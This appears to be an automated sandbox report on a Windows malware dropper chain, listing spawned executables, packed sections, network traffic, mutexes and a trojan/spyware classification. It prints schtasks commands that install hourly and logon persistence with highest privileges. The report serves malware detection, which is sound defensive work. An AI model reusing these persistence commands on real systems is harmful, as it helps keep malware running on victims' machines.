Source: 8bcaec3fef.exe, 00000009.00000003.2546160709.000000000A8B5000.00000004.00000020.00020000.00000000.sdmp, 8bcaec3fef.exe, 00000009.00000003.2546673409.000000000A8B6000.00000004.00000020.00020000.00000000.sdmp, 8bcaec3fef.exe, 00000009.00000002.2572103242.000000000A8B6000.00000004.00000020.00020000.00000000.sdmp, 8bcaec3fef.exe, 00000009.00000003.2547534253.000000000A8D6000.00000004.00000020.00020000.00000000.sdmp, 8bcaec3fef.exe, 00000009.00000002.2572183410.000000000A8D6000.00000004.00000020.00020000.00000000.sdmp, 8bcaec3fef.exe, 00000009.00000003.2530747589.000000000A82C000.00000004.00000020.00020000.00000000.sdmp, 8bcaec3fef.exe, 00000009.00000003.2530819656.000000000A82F000.00000004.00000020.00020000.00000000.sdmp, 8bcaec3fef.exe, 00000009.00000003.2547834598.000000000A83E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.43.61.160:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.43.61.160:443 -> 192.168.2.5:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49814 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49820 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.68.123.157:443 -> 192.168.2.5:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49881 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.5:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.5:49888 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.12:443 -> 192.168.2.5:49942 version: TLS 1.2

Source: 8bcaec3fef.exe, 00000009.00000003.2530678022.000000000A7AF000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_b28e5b55-1

System Summary

Binary is likely a compiled AutoIt script file

Source: 8bcaec3fef.exe, 00000009.00000002.2559987207.00000000004C2000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_2cbae11c-e
Source: 8bcaec3fef.exe, 00000009.00000002.2559987207.00000000004C2000.00000040.00000001.01000000.0000000D.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_5aa95985-8

PE file contains section with special chars

Source: setup.exe	Static PE information: section name:
Source: setup.exe	Static PE information: section name: .idata
Source: setup.exe	Static PE information: section name:
Source: explortu.exe.0.dr	Static PE information: section name:
Source: explortu.exe.0.dr	Static PE information: section name: .idata
Source: explortu.exe.0.dr	Static PE information: section name:
Source: random[1].exe.2.dr	Static PE information: section name:
Source: random[1].exe.2.dr	Static PE information: section name: .idata
Source: random[1].exe.2.dr	Static PE information: section name:
Source: 8bcaec3fef.exe.2.dr	Static PE information: section name:
Source: 8bcaec3fef.exe.2.dr	Static PE information: section name: .idata
Source: 8bcaec3fef.exe.2.dr	Static PE information: section name:
Source: sarra[1].exe.2.dr	Static PE information: section name:
Source: sarra[1].exe.2.dr	Static PE information: section name: .idata
Source: sarra[1].exe.2.dr	Static PE information: section name:
Source: random[1].exe0.2.dr	Static PE information: section name:
Source: random[1].exe0.2.dr	Static PE information: section name: .idata
Source: random[1].exe0.2.dr	Static PE information: section name:
Source: b6042db502.exe.2.dr	Static PE information: section name:
Source: b6042db502.exe.2.dr	Static PE information: section name: .idata
Source: b6042db502.exe.2.dr	Static PE information: section name:
Source: random[1].exe1.2.dr	Static PE information: section name:
Source: random[1].exe1.2.dr	Static PE information: section name: .idata
Source: random[1].exe1.2.dr	Static PE information: section name:
Source: eaa97795e9.exe.2.dr	Static PE information: section name:
Source: eaa97795e9.exe.2.dr	Static PE information: section name: .idata
Source: eaa97795e9.exe.2.dr	Static PE information: section name:
Source: axplong.exe.5.dr	Static PE information: section name:
Source: axplong.exe.5.dr	Static PE information: section name: .idata
Source: axplong.exe.5.dr	Static PE information: section name:
Source: RageMP131.exe.8.dr	Static PE information: section name:
Source: RageMP131.exe.8.dr	Static PE information: section name: .idata
Source: RageMP131.exe.8.dr	Static PE information: section name:
Source: MPGPH131.exe.8.dr	Static PE information: section name:
Source: MPGPH131.exe.8.dr	Static PE information: section name: .idata
Source: MPGPH131.exe.8.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E690C0 NtDuplicateObject,CreateThread,		27_2_00E690C0
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E69A70 RtlAllocateHeap,NtQuerySystemInformation,HeapFree,RtlFreeHeap,RtlAllocateHeap,NtQuerySystemInformation,HeapFree,		27_2_00E69A70

Source: C:\Users\user\Desktop\setup.exe	File created: C:\Windows\Tasks\explortu.job			Jump to behavior
Source: C:\Users\user\1000015002\b6042db502.exe	File created: C:\Windows\Tasks\axplong.job			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_00427A4A	9_2_00427A4A
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0043E4FF	9_2_0043E4FF
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0042CAA0	9_2_0042CAA0
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_00427CA7	9_2_00427CA7
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Code function: 9_2_0043676B	9_2_0043676B
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E1F0D0	27_2_00E1F0D0
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E5F030	27_2_00E5F030
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00DC002D	27_2_00DC002D
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E2A200	27_2_00E2A200
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E1D3A0	27_2_00E1D3A0
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E163B0	27_2_00E163B0
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E10440	27_2_00E10440
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E5E430	27_2_00E5E430
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00EBF550	27_2_00EBF550
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E186B0	27_2_00E186B0
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E57600	27_2_00E57600
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E677E0	27_2_00E677E0
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00D8B8E0	27_2_00D8B8E0
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E01C10	27_2_00E01C10
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00EC5DE0	27_2_00EC5DE0
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E7AD00	27_2_00E7AD00
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E1AF60	27_2_00E1AF60
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E13F40	27_2_00E13F40
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E5FF00	27_2_00E5FF00
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E13080	27_2_00E13080
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00DB71A0	27_2_00DB71A0
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00DC036F	27_2_00DC036F
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E24320	27_2_00E24320
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E045E0	27_2_00E045E0
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00DAF580	27_2_00DAF580
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E23610	27_2_00E23610
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00DD47BF	27_2_00DD47BF
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00EC7760	27_2_00EC7760
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00DBC960	27_2_00DBC960
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00DBA928	27_2_00DBA928
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00DCDA86	27_2_00DCDA86
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00DD8BB0	27_2_00DD8BB0
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E6FC40	27_2_00E6FC40
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E6EC40	27_2_00E6EC40
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00EB4D40	27_2_00EB4D40
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00EC6D20	27_2_00EC6D20
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00DD8E30	27_2_00DD8E30
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Code function: 27_2_00E72FD0	27_2_00E72FD0

Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Code function: String function: 00D9ACE0 appears 86 times

Source: setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: setup.exe	Static PE information: Section: ZLIB complexity 0.9979824862637363
Source: setup.exe	Static PE information: Section: rcpodcma ZLIB complexity 0.9948193033656761
Source: explortu.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979824862637363
Source: explortu.exe.0.dr	Static PE information: Section: rcpodcma ZLIB complexity 0.9948193033656761
Source: random[1].exe.2.dr	Static PE information: Section: ZLIB complexity 0.999087233040201
Source: random[1].exe.2.dr	Static PE information: Section: .rsrc ZLIB complexity 0.9955845424107143
Source: 8bcaec3fef.exe.2.dr	Static PE information: Section: ZLIB complexity 0.999087233040201
Source: 8bcaec3fef.exe.2.dr	Static PE information: Section: .rsrc ZLIB complexity 0.9955845424107143
Source: sarra[1].exe.2.dr	Static PE information: Section: ZLIB complexity 0.9987710994525547
Source: sarra[1].exe.2.dr	Static PE information: Section: rixklhlm ZLIB complexity 0.9944974229268666
Source: random[1].exe0.2.dr	Static PE information: Section: ZLIB complexity 0.9982443220628415
Source: random[1].exe0.2.dr	Static PE information: Section: fxenntlj ZLIB complexity 0.9946734033262454
Source: b6042db502.exe.2.dr	Static PE information: Section: ZLIB complexity 0.9982443220628415
Source: b6042db502.exe.2.dr	Static PE information: Section: fxenntlj ZLIB complexity 0.9946734033262454
Source: random[1].exe1.2.dr	Static PE information: Section: ZLIB complexity 0.998578638229927
Source: random[1].exe1.2.dr	Static PE information: Section: lprblcfc ZLIB complexity 0.9947089523565574
Source: eaa97795e9.exe.2.dr	Static PE information: Section: ZLIB complexity 0.998578638229927
Source: eaa97795e9.exe.2.dr	Static PE information: Section: lprblcfc ZLIB complexity 0.9947089523565574
Source: axplong.exe.5.dr	Static PE information: Section: ZLIB complexity 0.9982443220628415
Source: axplong.exe.5.dr	Static PE information: Section: fxenntlj ZLIB complexity 0.9946734033262454
Source: RageMP131.exe.8.dr	Static PE information: Section: ZLIB complexity 0.998578638229927
Source: RageMP131.exe.8.dr	Static PE information: Section: lprblcfc ZLIB complexity 0.9947089523565574
Source: MPGPH131.exe.8.dr	Static PE information: Section: ZLIB complexity 0.998578638229927
Source: MPGPH131.exe.8.dr	Static PE information: Section: lprblcfc ZLIB complexity 0.9947089523565574

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@59/21@14/14

Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Code function: 27_2_00E677E0 CreateToolhelp32Snapshot,

27_2_00E677E0

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\sarra[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8104:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8144:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\setup.exe

File created: C:\Users\user\AppData\Local\Temp\9217037dc9

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: eaa97795e9.exe, 00000008.00000003.2223816206.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000000E.00000003.2313995874.0000000005110000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.2314685161.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.2330868888.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2410780137.0000000005470000.00000004.00001000.00020000.00000000.sdmp, eaa97795e9.exe, 00000018.00000003.2497539627.0000000005540000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6958028505.0000000000D81000.00000040.00000001.01000000.00000011.sdmp, RageMP131.exe, 0000001B.00000003.2575871276.0000000005110000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: eaa97795e9.exe, 00000008.00000003.2223816206.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000000E.00000003.2313995874.0000000005110000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000000F.00000003.2314685161.0000000004C30000.00000004.00001000.00020000.00000000.sdmp, eaa97795e9.exe, 00000013.00000003.2330868888.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 00000014.00000003.2410780137.0000000005470000.00000004.00001000.00020000.00000000.sdmp, eaa97795e9.exe, 00000018.00000003.2497539627.0000000005540000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000001B.00000002.6958028505.0000000000D81000.00000040.00000001.01000000.00000011.sdmp, RageMP131.exe, 0000001B.00000003.2575871276.0000000005110000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');

Source: setup.exe

ReversingLabs: Detection: 50%

Source: setup.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explortu.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: b6042db502.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 8bcaec3fef.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: RageMP131.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: RageMP131.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address

Source: C:\Users\user\Desktop\setup.exe

File read: C:\Users\user\Desktop\setup.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\setup.exe "C:\Users\user\Desktop\setup.exe"
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe "C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe "C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe"
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process created: C:\Users\user\1000015002\b6042db502.exe "C:\Users\user\1000015002\b6042db502.exe"
Source: C:\Users\user\1000015002\b6042db502.exe	Process created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe "C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe"
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process created: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe "C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe"
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process created: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe "C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe"
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\MPGPH131\MPGPH131.exe C:\ProgramData\MPGPH131\MPGPH131.exe
Source: unknown	Process created: C:\ProgramData\MPGPH131\MPGPH131.exe C:\ProgramData\MPGPH131\MPGPH131.exe
Source: C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=2008,i,8769820692203852644,1088490053356293250,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe "C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe "C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5500 --field-trial-handle=2008,i,8769820692203852644,1088490053356293250,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3572 --field-trial-handle=2008,i,8769820692203852644,1088490053356293250,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe "C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe "C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe "C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process created: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe "C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe"	Jump to behavior
